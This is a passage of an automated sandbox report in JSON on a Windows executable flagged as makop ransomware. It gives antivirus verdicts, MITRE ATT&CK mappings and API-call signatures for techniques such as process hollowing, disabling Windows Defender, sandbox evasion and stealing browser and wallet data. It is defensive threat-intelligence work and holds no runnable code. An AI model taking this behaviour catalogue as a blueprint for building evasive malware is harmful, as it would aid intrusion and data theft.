ile_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":4140216,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1671915746000,"last_seen":1676632087000,"last_multi_scan":1676632087000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["criminal","makop","ransomware","evasive"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":59},"sandbox_signatures":{"informative_count":125,"suspicious_count":22,"malicious_count":33,"total":180},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Agentb.trtl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Infostealer/Win.Raccoon","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Inject.vtozr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.64500997","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.64500997 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/GenCBL.BKB trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Donut.c","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0058bed51 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.Inject.acglk","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Inject.judbde","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_FR.8FD78132","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_FR.8FD78132","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.Inject","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Inject.Win32.321851","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Imports GetCommandLine API"},{"type":"malicious","value":"Contains native function calls"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Calls an API typicaally used to find a resource in a module"},{"type":"informative","value":"Contains ability to start a process"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to load the module"},{"type":"informative","value":"Contains ability to modify processes thread functionality (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute application"},{"type":"informative","value":"Imports Mailslot related APIs"},{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"Contains ability to create/read/set mailslotinfo (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Writes shellcode to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to install a hook procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to enable or disable privileges in the specified access token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"malicious","value":"Modifies Windows Auto-Updates feature"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"malicious","value":"PE file is protected by VMProtect"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"malicious","value":"Tries to disable Windows defender Anti Spyware"},{"type":"malicious","value":"Tries to disable Windows defender via registry"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Contains ability to detect sandbox (mouse cursor movement)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to load content into memory"},{"type":"informative","value":"Contains ability to decode base64 data (API string)"},{"type":"informative","value":"Contains ability to decode string content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Odbcconf","attack_id":"T1218.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/008","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal on Host","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Control Panel","attack_id":"T1218.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/002","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Defense Evasion","technique":"Rundll32","attack_id":"T1218.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/011","identifiers":[{"type":"malicious","value":"Detected Rundll32 process execution"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Credential Access","technique":"Credentials In Files","attack_id":"T1552.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/001","identifiers":[{"type":"malicious","value":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Hooks key cryptographic functions of the CryptoAPI"},{"type":"malicious","value":"Hooks internet related APIs"},{"type":"malicious","value":"Hooks file system APIs"},{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"malicious","value":"Reads the system/video BIOS version"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Tries to identify its external IP address"},{"type":"malicious","value":"Found a reference to an external IP address lookup service"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Imports GetEnvironmentVariable API"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"malicious","value":"Upload file using POST request"},{"type":"malicious","value":"Collects system information using POST request"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Read system defined device setup information from registry"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to query local/system time"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to query volume size"},{"type":"informative","value":"Tries to access non-existent files"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retreive system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"malicious","value":"Contains ability to discover network shares"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"malicious","value":"Queries firmware table information (may be used to fingerprint/evade)"},{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to take screen capture of the target machine (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Accesses potentially sensitive information from local browsers"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"POSTs files to a webserver"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Contains ability to provide interface for network protocols"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Command and Control","technique":"Data Obfuscation","attack_id":"T1001","attack_id_wiki":"https://attack.mitre.org/techniques/T1001","identifiers":[{"type":"informative","value":"Dotnet code contains potential unpacker"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Calls an API typically used to create a new HTTP request"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"suspicious","value":"Found a cryptographic related string"},{"type":"informative","value":"Imports Crypto related APIs"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typicaally used to find a resource in a module","description":"\"InstallUtil.exe\" called \"FindResourceW\" with parameter \"789\" - (UID: 00000000-00007824)\n \"TqCmbPDunlWW8L0MzoqQOE05.exe\" called \"FindResourceW\" with parameter \"101\" - (UID: 00000000-00005908)\n \"TqCmbPDunlWW8L0MzoqQOE05.exe\" called \"FindResourceW\" with parameter \"4294336\" - (UID: 00000000-00005908)\n \"i5NUMaNH2togQeBv7Jyo6PpD.exe\" called \"FindResourceW\" with parameter \"101\" - (UID: 00000000-00006608)\n \"i5NUMaNH2togQeBv7Jyo6PpD.exe\" called \"FindResourceW\" with parameter \"14157352\" - (UID: 00000000-00006608)\n \"is-OJFQK.tmp\" called \"FindResourceA\" with parameter \"4545260\" - (UID: 00000000-00003456)\n \"is-OJFQK.tmp\" called \"FindResourceA\" with parameter \"4661892\" - (UID: 00000000-00003456)\n \"is-OJFQK.tmp\" called \"FindResourceA\" with parameter \"74785132\" - (UID: 00000000-00003456)\n \"is-OJFQK.tmp\" called \"FindResourceA\" with parameter \"74790956\" - (UID: 00000000-00003456)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"InstallUtil.exe\" called \"LoadResource\" (UID: 00000000-00007824)\n \"TqCmbPDunlWW8L0MzoqQOE05.exe\" called \"LoadResource\" (UID: 00000000-00005908)\n \"i5NUMaNH2togQeBv7Jyo6PpD.exe\" called \"LoadResource\" (UID: 00000000-00006608)\n \"is-OJFQK.tmp\" called \"LoadResource\" (UID: 00000000-00003456)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to install a hook procedure (API string)","description":"Observed api string:\"SetWindowsHookExA\" [Source: 00000000-00004036.00000000.84324.00470000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory","description":"Observed function memorystream in h_26wPXBLIlKW3_tlCXuCIgV.exe","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet code contains potential unpacker","description":"Observed function system.reflection.load in h_26wPXBLIlKW3_tlCXuCIgV.exe\n Observed function system.reflection.loadfile in h_26wPXBLIlKW3_tlCXuCIgV.exe","origin":"Static 